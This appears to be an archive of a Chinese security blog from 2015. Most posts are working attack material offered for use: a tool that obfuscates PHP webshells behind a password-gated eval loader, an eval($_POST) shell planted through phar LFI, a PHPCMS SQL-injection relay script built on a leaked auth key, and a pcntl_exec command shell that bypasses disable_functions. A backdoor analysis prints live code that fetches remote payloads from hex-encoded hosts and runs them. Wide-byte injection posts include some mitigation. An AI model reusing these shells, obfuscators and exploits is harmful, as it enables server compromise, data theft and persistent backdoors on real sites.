一个MYSQL的单引号特性

发布时间:July 22, 2015 // 分类:工作日志,PHP,代码学习,生活琐事,代码审计 // No Comments

下午在学习审计的时候。想写一个sql注射的来练练手

<?php
$id=@$_REQUEST['id'];
if(!$conn = @mysql_connect("localhost","root","root"))
    die;
    //$getid = "SELECT first_name, last_name FROM dvwa.users WHERE user_id = '$id'";
    $getid = "SELECT first_name, last_name FROM dvwa.users WHERE user_id = ".$id;
    //echo $getid;
    $result = mysql_query($getid,$conn); // Removed 'or die' to suppres mysql errors
    //var_dump($result);
    $num = @mysql_numrows($result); // The '@' character suppresses errors making the injection 'blind'
    //利用@屏蔽了输出的错误信息。所以只能是盲注了
    $i = 0;

    while ($i < $num) {

        $first = mysql_result($result,$i,"first_name");
        $last = mysql_result($result,$i,"last_name");
        
        $html .= '<pre>';
        $html .= 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
        $html .= '</pre>';
        echo $html;
        $i++;
    }
?>

然后用MYSQL监控的发现两个语句得到的结果是不一样的

然后各自丢到mysql里面去执行发现结果还真的不一样

后来darksn0w大大告诉我

MYSQL里面的引号里面,是常量。后面的非法字符会被舍弃。

赶脚和php的机制一样,又字符串朝整型转换的时候,会从前到后转换直到遇到第一个非法字符,保留前面的部分。

SELECT first_name, last_name FROM dvwa.users WHERE user_id = '1 and updatexml(1,concat(0x7e,(version())),0)'

实际就是:
 

SELECT first_name, last_name FROM dvwa.users WHERE user_id = '1'

神奇的单引号。是不是可以考虑用于过滤sql注入呢?

php 后门加密代码

发布时间:June 17, 2015 // 分类:运维工作,工作日志,PHP,linux,转帖文章,windows // No Comments

在某司5看到了一个加密文件求解密的。默默的谷歌到了

http://www.unphp.net/decode/f8d9b784c5812649b44b3cf623805bd9/

如果需要解密,可以参考

http://wiki.yobi.be/wiki/Forensics_on_Incident_3

根据这篇文章的算法写了个简单的文件加密,什么大马小马加密出来的效果一模一样。效果很吊,双层加密,可以防爆破

<?php 
$file = 'D:/Web/index.php'; /*要加密的文件*/
$pass = '123456'; /*登录密码*/

function enc($code,$pass) {
        $len  = strlen($code);
        for($i = 0; $i < $len; $i++) {
                $pass .= $code[$i];
                $code[$i] = chr((ord($code[$i]) + ord($pass[$i])) % 256);
        }
        $code = base64_encode($code);
        $temp = str_split($code,80);
        $newc = join("\r\n",$temp);
        return $newc;
}

$code = file_get_contents($file);
$code = base64_encode(' ?>'.$code.'<?php ');
$code = 'eval(base64_decode(\''.$code.'\'));exit;';
$code = gzdeflate($code);
$pass = md5($pass).substr(md5(strrev($pass)),0,strlen($pass));

$out  = base64_decode('PD9waHANCiR3cF9fd3AgPSAnYmFzZScgLiAoMzIgKiAyKSAuICdfZGUnIC4gJ2NvZGUnOw0KJHdwX193cCA9ICR3cF9fd3Aoc3RyX3JlcGxhY2UoYXJyYXkoIlxyIiwiXG4iKSwgYXJyYXkoJycsJycpLCAn').enc($code,$pass);
$out .= base64_decode('JykpOw0KJHdwX3dwID0gaXNzZXQoJF9QT1NUWyd3cF93cCddKSA/ICRfUE9TVFsnd3Bfd3AnXSA6IChpc3NldCgkX0NPT0tJRVsnd3Bfd3AnXSkgPyAkX0NPT0tJRVsnd3Bfd3AnXSA6IE5VTEwpOw0KaWYgKCR3cF93cCAhPT0gTlVMTCkgew0KICAgICR3cF93cCA9IG1kNSgkd3Bfd3ApIC4gc3Vic3RyKG1kNShzdHJyZXYoJHdwX3dwKSksIDAsIHN0cmxlbigkd3Bfd3ApKTsNCiAgICBmb3IgKCR3cF9fX3dwID0gMDsgJHdwX19fd3AgPCA=').strlen($code);
$out .= base64_decode('OyAkd3BfX193cCsrKSB7DQogICAgICAgICR3cF9fd3BbJHdwX19fd3BdID0gY2hyKChvcmQoJHdwX193cFskd3BfX193cF0pIC0gb3JkKCR3cF93cFskd3BfX193cF0pKSAlIDI1Nik7DQogICAgICAgICR3cF93cC49ICR3cF9fd3BbJHdwX19fd3BdOw0KICAgIH0NCiAgICBpZiAoJHdwX193cCA9IEBnemluZmxhdGUoJHdwX193cCkpIHsNCiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsnd3Bfd3AnXSkpIEBzZXRjb29raWUoJ3dwX3dwJywgJF9QT1NUWyd3cF93cCddKTsNCiAgICAgICAgJHdwX19fd3AgPSBjcmVhdGVfZnVuY3Rpb24oJycsICR3cF9fd3ApOw0KICAgICAgICB1bnNldCgkd3BfX3dwLCAkd3Bfd3ApOw0KICAgICAgICAkd3BfX193cCgpOw0KICAgIH0NCn0gPz48Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0id3Bfd3AiIHZhbHVlPSIiLz48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iJmd0OyIvPjwvZm9ybT4=');

echo '<pre>';
echo htmlspecialchars($out);
echo '</pre>';
?>

一句话把加密后的$_POST['wp_wp']改成$_GET['wp_wp'],连接加上参数?wp_wp=xxxxxx。即可

php phar LFI

发布时间:June 9, 2015 // 分类:PHP,代码学习,转帖文章 // No Comments

0x01. 什么是phar

文件归档到一个文件包。
将一个模块的文件打包成一个phar,这样方便模块整体迁移,只需将phar文件移动过去,其他环境中include即可使用。
类似于java的 .jar 文件。
php 5.3时,为php的C语言扩展,安装php时会默认安装。

0x02. 创建phar文件

phar.readonly = Off 这个参数必须设置为Off,如果为On,表示phar文档不可写。

makephar.php

<?php

try{
    $p = new Phar("my.phar", 0, 'my.phar');
} catch (UnexpectedValueException $e) {
    die('Could not open my.phar');
} catch (BadMethodCallException $e) {
    echo 'technically, this cannot happen';
}

$p->startBuffering();
$p['file1.txt'] = 'file1'; 
$p['file2.txt'] = 'file2';
$p['file3.txt'] = 'file3';
$p['shell.php'] = '<?php phpinfo(); eval($_POST[x]); ?>';

// use my.phar
echo file_get_contents('phar://my.phar/file2.txt');  // echo file2

// make a file named my.phar
$p->setStub("<?php
    Phar::mapPhar('myphar.phar');  
__HALT_COMPILER();");

$p->stopBuffering();

?>

上面代码生成一个my.phar文件,代码输出file2字符串。

my.phar文件包含了file1.txt,file2.txt,file3.txt和shell.php这四个文件。当然了,这四个文件不是真实存在磁盘上。

注意:这几个文件不能直接通过http访问,但可以被include和file_get_contents等php函数利用。

0x03. 利用phar

在makephar.php文件的当前目录,新建一个callphar.php,利用phar特定的格式。

<?php
include 'phar://my.phar/shell.php';
?>

访问callphar.php即可调用shell.php

注意:phar文件不受文件名限制,即my.char可以任意的重命名为aaa.bbb

callphar.php

<?php
include 'phar://aaa.bbb/shell.php';
?>

1

0x04. LFI漏洞代码及利用

upload.php

<?php

if(isset($_POST['submit'])){
    $upload_name = $_FILES['file']['name'];
    $tempfile = $_FILES['file']['tmp_name'];
    $upload_ext = trim(get_extension($upload_name)); 

    $savefile = RandomString() . '.txt';
    if ($upload_ext == 'txt') {
            if(move_uploaded_file($tempfile,$savefile)) {
                die('Success upload. FileName: '.$savefile);
            }
            else {
                die('Upload failed..');
            }
    }
    else {
        die('You are not a txt file..');
    }

}
function get_extension($file){
    return strtolower(substr($file, strrpos($file, '.')+1));    
}

function RandomString()
{
    $characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $randstring = "";
    for ($i = 0; $i < 16; $i++) {
        $randstring .= $characters[rand(0, strlen($characters)-1)];
    }
    return $randstring;
}

// make a lfi vulnerability
$file = $_REQUEST['file'];
if ($file != '') {
    $inc = sprintf("%s.php", $file); // only php file can be included
    include($inc);
}
?>


<html>
    <body>
        <form method="post" action="#" enctype="multipart/form-data">
            <input type="file" name="file" value=""/>
            <input type="submit" name="submit" value="upload"/>
        </form>
    </body>
</html>

上面代码只能上传txt文件,并且可以include php后缀名的文件。

利用:
将makephar.php生成的my.char重命名为phar.txt,并且上传。

2

所以POC为:
http://localhost/pentest/web200/upload.php?file=phar://S9EvthZuJI1TC4u5.txt/shell

3

0x5 参考

http://blog.csdn.net/yonggang7/article/details/24142725
http://drops.wooyun.org/papers/4544

PHPCMS V9 一个为所欲为的漏洞

发布时间:May 19, 2015 // 分类:PHP,代码学习,转帖文章 // 1 Comment

phpcms phpsso_auth_key泄露: WooYun: PHPCMS V9 一个为所欲为的漏洞 

http://www.2cto.com/phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=662dCAZSAwgFUlUJBAxbVQJXVghTWVQHVFMEV1MRX11cBFMKBFMGHkUROlhBTVFuW1FJBAUVBwIXRlgeERUHQVlIUVJAA0lRXABSQEwNXAhZVl5V

1.png

phpsso_auth_key: 0tagvqnxuq1x8x4jvaziib7yx4e9ibnl

由于GPC off,于是就可以sql注入了。


使用authkey加密payload:

<?php

function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {

    $key_length = 4;

    $key = md5($key != '' ? $key : pc_base::load_config('system', 'auth_key'));

    $fixedkey = md5($key);

    $egiskeys = md5(substr($fixedkey, 16, 16));

    $runtokey = $key_length ? ($operation == 'ENCODE' ? substr(md5(microtime(true)), -$key_length) : substr($string, 0, $key_length)) : '';

    $keys = md5(substr($runtokey, 0, 16) . substr($fixedkey, 0, 16) . substr($runtokey, 16) . substr($fixedkey, 16));

    $string = $operation == 'ENCODE' ? sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$egiskeys), 0, 16) . $string : base64_decode(substr($string, $key_length));

    $i = 0; $result = '';
    $string_length = strlen($string);
    for ($i = 0; $i < $string_length; $i++){
            $result .= chr(ord($string{$i}) ^ ord($keys{$i % 32}));
    }

    if($operation == 'ENCODE') {

            return $runtokey . str_replace('=', '', base64_encode($result));

    } else {

            if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$egiskeys), 0, 16)) {

                    return substr($result, 26);

            } else {

                    return '';

            }
    }
}

echo sys_auth("action=synlogin&uid=' and updatexml(1,concat('~',user()),1)#", 'ENCODE', '0tagvqnxuq1x8x4jvaziib7yx4e9ibnl');
http://www.2cto.com/api.php?op=phpsso&code=6f56BQgIUVQDVAkGUwEFCgwDAwNSAVBdA1UHD1RSURFZDlgIS0EPCFwDUFhFFl1dCBMWVlkHE0xDUFJDBktfCRhQGlZXVgIFR0weSERPQUpQRh4eHk8CEBA

2.png

看到有人说是phpcms authkey 无法注入。于是噌噌噌的搞了一个中转的脚本

<?php
set_time_limit(0);
$wang_url = 'http://www.0day5.com';

$auth_key = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxx';

$str = "uid=1".stripslashes($_GET['id']);
$encode = sys_auth($str, 'ENCODE', $auth_key);
$content = file_get_contents($wang_url."/phpsso_server/?m=phpsso&c=index&a=getuserinfo&appid=1&data=".$encode);
echo $content;
function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {
         $key_length = 4;
         $key = md5($key);
         $fixedkey = hash('md5', $key);
         $egiskeys = md5(substr($fixedkey, 16, 16));
         $runtokey = $key_length ? ($operation == 'ENCODE' ? substr(hash('md5', microtime(true)), -$key_length) : substr($string, 0, $key_length)) : '';
         $keys = hash('md5', substr($runtokey, 0, 16) . substr($fixedkey, 0, 16) . substr($runtokey, 16) . substr($fixedkey, 16));
         $string = $operation == 'ENCODE' ? sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$egiskeys), 0, 16) . $string : base64_decode(substr($string, $key_length));
         $i = 0; $result = '';
         $string_length = strlen($string);
         for ($i = 0; $i < $string_length; $i++){
                   $result .= chr(ord($string{$i}) ^ ord($keys{$i % 32}));
         }
         if($operation == 'ENCODE') {
                   return $runtokey . str_replace('=', '', base64_encode($result));
         } else {
                   if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$egiskeys), 0, 16)) {
                            return substr($result, 26);
                   } else {
                            return '';
                   }
         }
}
?>

使用的办法就是填写目标的www还有key。然后丢到havij里面跑就好了

php利用pcntl_exec突破disable_functions

发布时间:May 12, 2015 // 分类:PHP,代码学习,linux // No Comments

偶遇虚拟主机。发现服务器对disable_functions做了比较变态的设置


 

passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket

仔细看了下,发现了常用的执行命令的函数都给禁止了。尝试mail和bash去执行都失效了.搜索了下发现一个pcntl_exec函数是可以执行命令的。在这里http://php.net/manual/zh/function.pcntl-exec.php看到了相关的说明

pcntl_exec

(PHP 4 >= 4.2.0, PHP 5)
pcntl_exec — 在当前进程空间执行指定程序

说明

void pcntl_exec ( string $path [, array $args [, array $envs ]] )
以给定参数执行程序。

参数

path
path必须时可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本(比如文件第一行是#!/usr/local/bin/perl的perl脚本)。 更多的信息请查看您系统的execve(2)手册。

args
args是一个要传递给程序的参数的字符串数组。

envs
envs是一个要传递给程序作为环境变量的字符串数组。这个数组是 key => value格式的,key代表要传递的环境变量的名称,value代表该环境变量值。

返回值

当发生错误时返回 FALSE ,没有错误时没有返回。

void pcntl_exec ( string $path [, array $args [, array $envs ]] )
在当前的进程空间中执行指定程序,类似于c中的exec族函数。所谓当前空间,即载入指定程序的代码覆盖掉当前进程的空间,执行完该程序进程即结束。

<?php
$dir = '/var/tmp/';
$cmd = 'ls';
$option = '-l';
$pathtobin = '/bin/bash';

$arg = array($cmd, $option, $dir);

pcntl_exec($pathtobin, $arg);
echo '123';    //不会执行到该行
?>
<?php
$cmd = @$_REQUEST[cmd];
if(function_exists('pcntl_exec')) {
    $cmd = $cmd."&pkill -9 bash >out"; //执行完毕当前的命令。结束掉bash,方便下一次继续执行
    pcntl_exec("/bin/bash", $cmd);    //可能会造成假死。因为pcntl_exec一直处于等待的状态
    echo file_get_contents("out");        
} else {
        echo '不支持pcntl扩展';
}
?>

最后的最后,居然发现这个函数还是被刷过CVE的存在

https://bugs.php.net/bug.php?id=68598

深入探究宽字节注入漏洞与修补原理

发布时间:April 27, 2015 // 分类:PHP,代码学习,转帖文章,mysql // No Comments

1、概述

主要是由于使用了宽字节编码造成的。

什么是字符集?

计算机显示的字符图形与保存该字符时的二进制编码的映射关系。

ASCII中,A(图形)对应编码0100000165)。

对于MYSQL数据库来说,涉及字符集的地方大致分为存储和传输时,即:

(1)存储在服务器端的数据是何种编码

(2)客户端和服务器交互的时候数据传输使用的编码。

 

2、MYSQL服务器端存储字符集

MYSQL服务器端进行数据存储时,允许在以下的级别设置字符集:

(1)服务器端字符集(character_set_server

(2)库字符集

(3)表字符集

(4)字段字符集

优先级为:字段----->------->-------->服务器

对应的语法是:

Create table test(
name varchar(20) charset gbk,
number varchar(10),
age int
)engine=innodb charset=utf-8 ;

3、客户端与服务器交互数据传输的字符集

存储时的字符集已经确定了,不会影响交互阶段的字符集。

MYSQL中,还有一个中间层的结构,负责客户端和服务器之间的连接,所以称为连接层。

交互的过程如下:

(1)客户端以某种字符集生成的SQL语句发送至服务器端,这个“某种字符集”其实是任意规定的,PHP作为客户端连接MYSQL时,这个字符集就是PHP文件默认的编码。

(2)服务器会将这个SQL语句转为连接层的字符集。问题在于MYSQL是怎么知道我们传过来的这个SQL语句是什么编码呢?这时主要依靠两个MYSQL的内部变量来表示,一个是character_set_client(客户端的字符集)和character_set_connection(连接层的字符集)。可以使用show variables like character_set_% ;进行查看。

可以看到,这里的客户端字符集为GBK,连接层字符集也是为GBK

两者相同,就不会有问题,如果不一致,就会出现乱码问题了。

使用MYSQL中的set命令可以对这些内部变量做设置,如修改客户端编码为UTF-8;

set character_set_client = UTF-8

(1)服务器将转换好的SQL语句,转为服务器内部编码与存储在服务器上的数据进行交互

(2)服务器处理完之后,将结果返回给客户端,还是转为服务器认为客户端可以认识的编码,如上图的GBK,使用character_set_results来确定返回客户端的编码。

平时在PHP中写的set names UTF-8相当于下面三条同时执行:

(1)set character_set_client = UTF-8

(2)set character_set_connection = UTF-8

(3)set character_set_results = UTF-8

 

4、乱码问题原理

设置三个字符集相同,这也就不会出现乱码的真正原理。网页上有时会出现乱码是因为PHP动态文件将数据打印到浏览器的时候,浏览器也会按照一定的字符集进行判断,如果PHP的响应数据编码和浏览器编码一致,就不会出现乱码,否则就出现乱码。可以通过在PHP中使用header()来指定这个响应数据的编码。

 

5、宽字节注入原理

有三种形式:

(1)情景一:在PHP中使用mysql_query(set names GBK);指定三个字符集(客户端、连接层、结果集)都是GBK编码。

情景代码: 

.....
mysql_query(“set names GBK”);
$bar = addslashes($_GET[‘bar’]) ;
$sql = “select password from user where bar=’{$bar}’”;
$res = mysql_query($sql) ;
......

提交:http://127.0.0.1/foo.php?bar=admin%df%27

这时,发生如下转换:

%df%27=====(addslashes)======>%df%5c%27======(GBK)======>

带入sql为:

Select password from user where bar=

成功将单引号闭合。为了避免漏洞,网站一般会设置UTF-8编码,然后进行转义过滤。但是由于一些不经意的字符集转换,又会导致漏洞。

 

(2)情景二:

使用set names UTF-8指定了UTF-8字符集,并且也使用转义函数进行转义。有时候,为了避免乱码,会将一些用户提交的GBK字符使用iconv函数(或者mb_convert_encoding)先转为UTF-8,然后再拼接入SQL语句。

情景代码:

....
mysql_query(“set names UTF-8”) ;
$bar =iconv(“GBK”,”UTF-8”, addslashes($_GET[‘’bar])) ;
$sql = “select password from user where bar=’{$bar}’” ;
$res = mysql_query($sql) ;
......

我们可以看到,为了使得SQL语句中的字符集保持一致,一般都会使用iconv等字符集转换函数进行字符集转换,问题就是出在了GBKUTF-8转换的过程中。

提交:http://127.0.0.1/foo.php?bar=%e5%5c%27

变换过程:(e55c转为UTF-8e98ca6

e55c27====(addslashes)====>e55c5c5c27====(iconv)====>e98ca65c5c27

可以看到,多出了一个5c,将转义符(反斜杠)本身转义,使得后面的%27发挥了作用。

测试如下:


 

 

(3)情景三:使用iconv进行字符集转换,将UTF-8转为GBK,同时,set names字符集为GBK。提交%e9%8c%a6即可。

这个情景的大前提是先编码后转义:

e98ca6====(iconv)=====>e55c=====(addslashes)====>e55c5c

同样可以多出一个反斜杠进行利用,在此不再详述,因为漏洞条件比较苛刻。

 

 

6、安全方案

对于宽字节编码,有一种最好的修补就是:

(1)使用mysql_set_charset(GBK)指定字符集

(2)使用mysql_real_escape_string进行转义

原理是,mysql_real_escape_stringaddslashes的不同之处在于其会考虑当前设置的字符集,不会出现前面e55c拼接为一个宽字节的问题,但是这个“当前字符集”如何确定呢?

就是使用mysql_set_charset进行指定。

上述的两个条件是“与”运算的关系,少一条都不行。

测试;

输出:

 

 

效果很明显。

from:http://write.blog.csdn.net/postedit/42874517

对某个脚本进行的php解密

发布时间:April 27, 2015 // 分类:PHP,运维工作,linux,代码学习 // No Comments

晚上客户反映服务器最近流量有些异常,于是就去查看服务器日志,为了自身方便,写了一个文件来查询

<?php
$ua_file = "ua.txt";
 
$ua_data = date("Y/m/d H:i:s")."----".$_SERVER['REMOTE_ADDR']."\n";
$ua_data = $ua_data."http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']."\n";
$ua_data = $ua_data.$_SERVER['HTTP_USER_AGENT']."\n";
$ua_data = $ua_data.$_SERVER['HTTP_REFERER']."\n";
$ua_data = $ua_data."\n";
 
$ffff = fopen($ua_file, 'a');  
fwrite($ffff, $ua_data);  
fclose($ffff);
?>

可是其中的一请求的文件引起了我的注意,直接打开看看~

<?php 
define('iphp','oday');
define('T','H*');
define('A','call');
define('B','user');
define('C','func');
define('D','create');
define('E','function');
define('F','file');
define('F1','get');
define('F2','contents');
define('P','pack');
$p = P;
$call = sprintf('%s_%s_%s',A,B,C);
$create = sprintf('%s_%s',D,E);
$file = sprintf('%s_%s_%s',F,F1,F2);
$t = array('6','8','7','4','7','4','7','0','3','a','2','f','2','f','6','4','6','f','6','4','6','f','6','4','6','f','6','d','6','5','2','e','7','3','6','9','6','e','6','1','6','1','7','0','7','0','2','e','6','3','6','f','6','d','2','f','6','7','6','5','7','4','6','3','6','f','6','4','6','5','2','e','7','0','6','8','7','0','3','f','6','3','6','1','6','c','6','c','3','d','6','3','6','f','6','4','6','5');
$call($create(null,$p(T,$file($p(T,join(null,$t))))));
?>

于是随手解密了下,发现函数的原型是这样子的

<?php 
define('iphp','oday');
define('T','H*');
define('A','call');
define('B','user');
define('C','func');
define('D','create');
define('E','function');
define('F','file');
define('F1','get');
define('F2','contents');
define('P','pack');
$p = P;  //pack
//明显的对函数进行拼接
$call = sprintf('%s_%s_%s',A,B,C); //call_user_func  调用自定义的函数
$create = sprintf('%s_%s',D,E);    //create_function  创建自定义函数
$file = sprintf('%s_%s_%s',F,F1,F2); //file_get_contents 远程文件读取

$t = array('6','8','7','4','7','4','7','0','3','a','2','f','2','f','6','4','6','f','6','4','6','f','6','4','6','f','6','d','6','5','2','e','7','3','6','9','6','e','6','1','6','1','7','0','7','0','2','e','6','3','6','f','6','d','2','f','6','7','6','5','7','4','6','3','6','f','6','4','6','5','2','e','7','0','6','8','7','0','3','f','6','3','6','1','6','c','6','c','3','d','6','3','6','f','6','4','6','5');
//$call($create(null,$p(T,$file($p(T,join(null,$t))))));
​//join(null,$t) join() 函数把数组元素组合为一个字符串
call_user_func(create_function(null,pack(H*,file_get_contents(H*,join(null,$t)))));
?>

其中的join(null,$t)得到的是

687474703a2f2f646f646f646f6d652e73696e616170702e636f6d2f676574636f64652e7068703f63616c6c3d636f6465

然后$p(T,join(null,$t));的到的结果是

http://dododome.sinaapp.com/getcode.php?call=code

那么一目了然了,从http://dododome.sinaapp.com/getcode.php?call=code读取到的东西,经过pack解码,然后直接调用

//<?php
// +----------------------------------------------------------------------
// | Copyright (c) 2006-2012 KingBin All rights reserved.
// +----------------------------------------------------------------------
// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
// +----------------------------------------------------------------------
// | Author: KingBin ooooooo.oooo.ooooooo@foxmail.com 
// +----------------------------------------------------------------------
error_reporting(0);
define('KING_SELF', basename($_SERVER["SCRIPT_FILENAME"]));
define('IS_WIN', 'win' == substr(strtolower(PHP_OS), 0, 3));
defined('mamashuoanquangoushigehenrongyiguodedashaguaruanjian') or define('mamashuoanquangoushigehenrongyiguodedashaguaruanjian', 'demo');
date_default_timezone_set('asia/shanghai');
//新增过狗验证
if(defined('iphp'))
  define('_pass_',iphp);
else
  define('_pass_',mamashuoanquangoushigehenrongyiguodedashaguaruanjian);
//结束
if (!isset($_SESSION)) {
    session_start();
}

function init() {
    remote_e();
    header("Content-type:text/html;charset=utf-8");
    session();
    //update();
    $do = new king;
    $do->start();
}

function remote_e() {
    $pass = $_REQUEST['pass'];
    $e = $_REQUEST['e'];
    if ($pass == _pass_) {
        if ($e)
            eval($e);
        die;
    }
}

function _getcwd() {
    return $_SESSION['dirpath'] . '/';
}

function kill($process) {
    $wmi = new COM("Winmgmts:/root/cimv2");
    $data = $wmi->ExecQuery(sprintf("SELECT * FROM Win32_Process Where Name='%s'", $process));
    foreach ($data as $v) {
        $v->Terminate();
    }
}

function session() {
    $sessid = empty($_COOKIE[session_name()]) ? $_COOKIE[session_name()] : null;
    if ($sessid)
        session_id($sessid);
}

function update() {
    $code = "<?php
session_start();
define('version','v2');
define('pp', '{pass}');
if(isset(\$_SESSION['k'])){
  \$k = \$_SESSION['k'];
}else{
  \$_SESSION['k'] = pack('H*',file_get_contents(pack('H*','687474703a2f2f66696c652e6865696c6979752e636f6d2f676574636f64652e7068703f63616c6c3d636f6465')));
  \$k = \$_SESSION['k'];
}
call_user_func(create_function(null,\$k));
?>
";

    $pass =  _pass_;
    $contents = str_replace('{pass}', $pass, $code);
    if (!defined('version') || version != 'v2') {
        file_put_contents(KING_SELF, $contents);
            //header('location:' . KING_SELF);
    }
}

function I($name) {
    return $_REQUEST[$name];
}

//已经废弃
function _king($key) {
    $opts = array('http' => array('method' => 'GET', 'timeout' => 10));

    $context = stream_context_create($opts);

    if (isset($_SESSION['code'])) {
        $code = bin::decode($_SESSION['code'], $key);
    } else {
        $_SESSION['code'] = $GLOBALS['p']('H*', $GLOBALS['f']($GLOBALS['s']('%s/%s', $GLOBALS['p']
                                        ('H*', '687474703a2f2f626c616b696e2e64756170702e636f6d2f'), $key)), false, $context);
        $code = $GLOBALS['s']('%s', @bin::decode($_SESSION['code'], $key));
    }
    //这里很重要针对5.3 以上匿名优化
    $GLOBALS['c']($GLOBALS['e'](false, $code));
}

//end
function css() {
    $code = <<< css
    <style>
    input{font:11px Verdana;height:18px;border:1px solid #666666;}a{color:#00f;text-decoration:underline;}a:hover{color:#f00;text-decoration:none;}#header{height:20px;border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 15px 5px 5px;font-weight:bold;}#header .left{float:left;}#header .right{float:right;}#menu{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 15px 5px 5px;}#content{margin:0 auto;width:98%;}#content h2{margin-top:15px;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}#content #base,#content #base2{background:#eee;margin-bottom:10px;}#base input{float:right;border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;margin:5px 10px;}.cdrom{padding:5px;margin:auto 7px;}.h{margin-top:8px;}#base2 .input{font:12px Arial,Tahoma;background:#fff;border:1px solid #666;padding:2px;height:18px;}#base2 .bt{border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}dl,dt,dd{margin:0;}.focus{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 15px 5px 5px;}.fff{background:#fff}dl{margin:0 auto;width:100%;}dt,dd{overflow:hidden;border-top:1px solid white;border-bottom:1px solid #DDD;background:#F1F1F1;padding:5px 15px 5px 5px;}dt{border-top:1px solid white;border-bottom:1px solid #DDD;background:#E9E9E9;font-weight:bold;padding:5px 15px 5px 5px;}dt span,dd span{width:19%;display:inline-block;text-indent:0em;overflow:hidden;}#footer{padding:10px 30px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;}#load{position:fixed;right:0;border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 15px 5px 5px;display:none;}.in{width:40px;text-align:center;}.high{background-color:#0449BE;color:white;margin:0 2px;padding:2px 3px;width:10px;}.high2{margin:0 2px;padding:2px 0px;width:10px;}#login{display:none;}#show_file{padding: 10px 10px;border: #000 solid;color:#000;height:400px;width:800px;position:fixed;top:45%;left:50%;margin-top:-200px;margin-left:-400px;background:#fff;overflow:auto;}#open,#upload{display:none;position:fixed;top:45%;left:50%;margin-top:-200px;margin-left:-400px;}#close{color:#fff;height:16px;width:30px;position:absolute;right:0;background:#000;z-index:1;}#upfile{width:628px;height:108px;padding:10px 20px;background-color:white;position:fixed;top:45%;left:50%;margin-top:-54px;margin-left:-314px;border:#000 solid;}
    #login{display:none;}
    body{font:14px Arial,Tahoma;line-height:16px;margin:0;padding:0;}
    h1{display: block;font-size: 32px;font-weight: bold;font-family:none;}
    .not_found{margin:20px 20px;}
    .not_found p{font-family:none;font: 14px Arial,Tahoma;line-height: 16px;}
    in{border:1px;}
    .red{color:#FF0085;}
    #base2 .input{width:260px;}
    .hide{display:none;}
    .showfile {font-size: 16px;line-height: 28px;}
    </style>
css;
    return $code;
}

function js() {
    $code = <<< js
    <script>
     (function() {
    
    function _key() {
        $(document).keydown(function(e) {
            var key = (e.keyCode) || (e.which) || (e.charCode);
            if (key == 80) {
                $(".not_found").hide();
                $("#login").show();
            }
        });
    }
    
    function error(msg, element, speed) {
        speed = speed || "3000";
        //setTimeout('$(element).show("slow")',speed);
        $(element).show();
        $(element).text(msg);
        setTimeout(
        function() {
            $(element).hide();
        }
        , speed);
    }
    function post(element, url, form) {
        $(element).click(function() {
            $.get(url, $(form).serialize(), function(data) {
                if (data.status == 100) {
                    error(data.msg, '#notice', 2000);
                }else{
                    $("body").html(data.html);
                    //bind default event
                    _init();
                }
            }, "json");
        });
    }
    function close(){
        $("#close").click(function(){
            $("#open").hide();
        });
        $("#close_file").click(function(){
          $("#upfile").hide();
        });
    }    
    function get(element){
         $(element).on('click',function(e){
            $.get(this.href,function(data){
                if(data == null){
                    error('权限不足,无法查看!', '#load', 2000);
                }
                if(data.showfile){
                    $("#open").show();
                    $('#show_file').empty();
                    $('#show_file').append(data.showfile);
                }
                if(data.editfile){
                  if($(window).scrollTop()>0) $('body,html').animate({scrollTop:0},1000);
                  $(".newfile").show();
                  $(".newfile_name").empty();
                  $(".newfile_name").val(data.filename);
                  $(".newfile_value").empty();
                  $(".newfile_value").text(data.editfile);

                }
                if(data.html) {
                    $("body").html(data.html);
                    //bind default event
                    _init();
                }
                if(data.msg){
                    error(data.msg, '#load', 2000);
                }
                if(data.status==200){
                    //window.location.href={gourl}
                    window.location.reload();
                }
                
            },"json");
            e.preventDefault();
            return false;
         });
         return false;
     }
     function find(){
       
        $('.qh').click(function(){
            var find = $('.find').val();
            if( find == null){
                error('切换的路径不能为空', '#load', 2000);
            }
             $.get('?action=find&file='+find,function(data){
                if(data == null){
                    error('切换的路径不能为空!', '#load', 2000);
                }
                if(data.html) {
                    $("body").html(data.html);
                    //bind default event
                    _init();
                }
                if(data.msg){
                    error(data.msg, '#load', 2000);
                }                
            },"json");
            
        });
     }
     function port(){
        $(".click_port").click(function(){
            $('.port_hide').toggle();
            $(".findport").click(function(){
                error("正在扫描端口,请耐心等待", '#load', 2000);
                var port = $('.port').val();
               $.get('?action=port&ports='+port,function(data){
                if(data.showfile){
                    $("#open").show();
                    $('#show_file').empty();
                    $('#show_file').append(data.showfile);
                }
                if(data.msg){
                    error(data.msg, '#load', 2000);
                }                
            },"json");
            });
